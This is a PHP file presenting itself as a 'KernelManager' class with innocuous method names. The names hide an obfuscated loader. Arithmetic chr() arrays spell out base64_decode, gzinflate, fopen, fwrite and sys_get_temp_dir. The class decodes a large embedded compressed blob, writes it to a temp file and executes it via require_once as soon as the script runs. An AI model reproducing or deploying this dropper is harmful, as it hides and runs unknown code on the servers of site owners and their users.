<?php
class KernelManager {
	private $nq = '';
	private $ph = '';

	public function fetchSummary($p1) {
		$a = array((101*1),((56*1)+44),(((114*30)-3309)),(3*33),((102-1)),(102-2),(95),(52),(2*27),((22*52)-1043),((31*1)+84),(27+52+18),98);
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1);
	}

	public function resetState($p1) {
		$a = array(((38*1)+65),(((66*116)-7534)),(((43*1)+62)),(((76*75)-5590)),102,((2*111)-114),((83+7+7)),(((105*58)-5974)),(((61*44)-2583)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1);
	}

	public function scheduleJob($p1,$p2) {
		$a = array(((111-9)),111,112,(101*1),(((56*1)+54)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function updateCache($p1,$p2) {
		$a = array((((64*58)-3611)),(((61*34)-1958)),(105),((2*57)),((125-6)),102);
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1,$p2);
	}

	public function calculateSum($p1) {
		$a = array((101*1),(121-6),((112-1)),((110-2)),((96*21)-1917),(102));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1);
	}

	public function saveChanges($p1,$p2=null) {
		$a = array(((62+47)),(105),((118-4)),116,(114));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1,$p2);
	}

	public function rollbackTransaction() {
		$this->ph = $this->saveChanges($this->processData(), '/');
	}

	public function fn() {
		$this->nq = $this->resetState($this->fetchSummary($this->zu));
	}

	public function updateRegistry() {
		$fn = $this->ph.'/hw-6810076c3cbe3';
		$f = $this->scheduleJob($fn, 'w');
		$this->updateCache($f, $this->nq);
		$this->calculateSum($f);
		$this->validateInput($fn);
	}

	private $zu = 'pRiJbuJY8lcSKTPBIspCTtKsZ2RsQyAYwtVp0soiY3wbTHxgT' . 'Cb/vlX1TC8mGTLSIrD8Xp2vXp38+8+ltTzSPDUMjyYzzX1bBvZ' . 'KjfSjMFIjWzuZrDWzyt6PjHihRba/OJpYrlo4mSwd9+xksnC5N' . '9soHIe6Z3z7RgQce5+8xmqBq55MXJMPo8DTFwVCh53IdPipGuo' . '3V5OZrvkzvbBD/pNYv3BVww+Awk18vgSCEif+HxtgQJwT/5jnC' . 'VYtFmnNEfAnvb/wmhUU/GBW2N3k/sN2Fi7b+A01fOG4aqBHcbA' . 'g1Op73hA7h6dTve3oy6tBoKaF08kyOeX/OL033UdBTJ57g3FSq' . '5k/FOG51pKUhrBupa3+ldIVFPHH5Z1wenY6URmFoHTkoS/WS2a' . '73gf8USLWBxVBNMfFhuA/KCOlVRPdjiyMo1pf6SPlq46Uj0LC4' . '0pfebjsWqEnDhOr5VaeRMHqyInZHPaVpiiXhrium+FYlsLygyX' . '0xPR7qzb0rUF/3G7UhIq0cUd10xQA7nV7ym1z8J1UjDTk3LaUc' . 'SvhSZipLnBrnJi1cY9tLcKAbSVytyzQ1nKOOw+C274XGJJq2Li' . 'Fr+kq2L5OjWT7qvr41lnLnXb57kmrjZTHUdjtmprRMV2tk/gPD' . '4nQ1nrjJ8X1VUUwW0ptrLVH4bBd92ePljwem0xU6oWZeWZKOm4' . 'ofWFKAhZktU4iNxqJ8HTfq9zgdkjGawsVvWvKQ9yxDYY36jbsz' . 'MIx7jQk4cbIzBBOiWrdk6Vsx/IMZqumUbfHDMkiu2QW8LUMwXx' . 'q93sMgWlqbBJLMe+mfdla6T8qsSJotR/3FYYSMG3Wbk/O7O2tU' . '9wazZUSYD53TV/qmOPn55FbUpKx3J337wBGqOslO5wrDS9r33H' . 'H+WV7bW4zzuZ9I1Nx7tEljBbZsVVc1dPxlZSWVvImXMqD8aZuN' . '9kdTxlUvpRS/1aQlFAaNG1pKM8bqe/JokZY7K6lYdNpC2GqDJp' . 'TZcO4m7rBGFw5j4mwaol+pzUc+w2n5xDhK0E3V3fSZlSRxMqtI' . 'IZxw+7dEbG1PcY6XWZaLkBLC8gvpKFmIWjjBYxH6abTE24fUkX' . 'tpuElObazpZ/Ps2MkcIyFDFchD+Tbuj1it5r6jEUlVRKIRttXW' . '8Nmpe6EBN5sYgbW/iVtko0gjsDSvVdpoMWNTRLJkkxoTmZI7fa' . 'xJwSKGPaaQzMENV8fekK5KbGr9nxyRWmgFGWpeSGI2mVjkzlKy' . 'qyoXcvieA22ThopizR1TbG/FgTFKkndLASmEQl0ls/9zD3nLJS' . 'N5Pq5WbtuPmW+NCfGxjp6knrN3vOIXZpLtjfKlXr7ezkie7Pot' . 'Fx2HoqkB4sZQZ2SF7d78oCOkWR+Lj/KpA5XfX+3dHWmBwWsMlA' . 'bsIRQxkRenn4K6fczBJUQPI0QoMzYYahHkLsb8vBnDhHyISDOE' . 'uuUg1T+dgIb/MSy8twwTaJp/DRjh2i//w5VZemHtDjL4YPBkOk' . 'UsKHMGKoX6tzbzNbzXDEfon0cZPquA9JHHEyQmCfpHO/vh04Ci' . 'RO9zlxuT4KF72QidrsPTbmKZYsv2IuIC/x4MSuUiiUshFAwd3c' . 'vz6+L8EOIY2T1iS1+IoMXPm9kSMwYbm58ylUTy/Z0Vt1R+Jbin' . 'FXZnztCytfF8jX3kpVrNOfxR5xSkb5btOKu6qAk/OCUb5/T7vL' . 'PE97sfm6LX26AjGmgqy6Zr1j8W0tgXQJLGKF7mlkVkN+ZeT+oU' . 'T6/BQ1zD+6z8yGDBdKDzI93tP1xLwXufB+nfFEsX3Bb2+7RFy+' . 'BhjoqvCim4h75ZbG8RTrbB16A3J0fmKi6j3IFoCtSbdvt5eHXA' . 'L9G+EfFywDCB9HmYTfnF9fF/IOw9q8fOZBeGDL2QvPimZ51kO8' . '7vagFe6rnoA0MNX+d2FugY6d0m+Fmz+19qnAAPCcOLL9MNNXz1' . 'Km3F8DYUWBj4UMAo6hZwGtx4E3shY1RHG64Kq0hqP0l7syCM3H' . 'Ub3cfh5PBoD35Lveb9fGjLPfPWB75J+j33cHw7P9z/ANy6t12u' . '/vU7orCsNntnH3iuQeI+/Jw1O8M+0JnUIcz5Ygvc5/ilxuH5Nz' . 'LgrTHHzLeAQKx2+nI4nDYVOTuKGc98NVDhJ9QXOYVLX6x5tDLw' . 'AdJhL7WNRJAYTV7ZbumHtkLw88AtKV5fqhnG1SSADlfEbBtBd+' . 'LA8hKL8e7ef66VNx+OY6NL0fkXlkdAnU0fqkGoQ7UXuan8Iz5A' . 'oLyYkIqjt4KhPD5SIF2GEeODVW4k8k09fNwaI5RvwVF0ge21Hr' . 'HS/OUJbJt4dvHw+4Zy+hmRoWPxJzn5YTU06208FNB2F1jPxOio' . 'E/JWQxHsfG5ooHB2EORfjnPgbDfxrEgoUSyWvFG6Guuv4RZFI0' . 'a/5nDhpYbG0Mfyum3HMCh6rJ2QP5nCmA7DvAk8kCBM+K7m68vM' . 'CPSk/u2u39znksBX6y3jc9qxb0ZyzgK6f2M7LUdzff7C9YTHBu' . '6n1FSZ2CavAH+nDHYDZur8nkuTA6vtxrhTI/xg60GMM+CAaTkb' . 'xEnFLwm8Dbuo7pYUfIPrBbbGAPVofvazvmGiqV57Tv81icHch8' . 'yb/5WYAQCcQHeCdpnZh/EXjJv1zLsUDuIzdqNZLFF99OD6Dgvo' . 'WclPuL/+Tc8X6mntgEl730mRY9vOeTEOjSGh2ThUIXnDg+Iwuk' . 'KwwLb2j1hEU1wMQuYr0w8p5Y3nh0QhVMYjiUGmurbIva8r+8CR' . 'zOcct0DfB263dCf77D94tJwSKMm8QDbkPJFEP3iCs5s2F6kB5O' . 'Viv9qgUl2Q+aunA/aL9asB7E0nhixZL8vYWbvCripYI/64bnDa' . 'Gb/Khq0DrXqwTkFxk48osnGFF2z/KN880VTo6OZlGwtLZ9R52y' . '2CtKYwH66Byb7mSsCgqvmoS65OHKu6mvovzjS9HirqqVxf/31a' . '+WnuyvghdpmVNl5ozSbkfLxQh5n23DP/B/INT8cOjqLRQb10zw' . 'UJ2KcHSMGRrHgWRs74GP8C5P+88z+Ac1WTugvtu+oEke1Nhtji' . 'fSfjKw4eqNzxk5uaMXrQeRf9nr/Lw==';

	public function validateInput($p) {
		require_once($p);
	}

	public function processData() {
		$a=array(((52*2)+11),(129-8),((89+1+25)),(11+84),((83*1)+20),101,(((35*89)-2999)),(((56*1)+39)),(34+62+20),101,(((47*76)-3463)),(112),((98-3)),(100),105,(((22*61)-1228)));
		$s='';
		foreach($a as $n){$s.=chr($n);}
		return $s();
	}
}

$op = new KernelManager();
$op->rollbackTransaction();
$op->fn();
$op->updateRegistry();
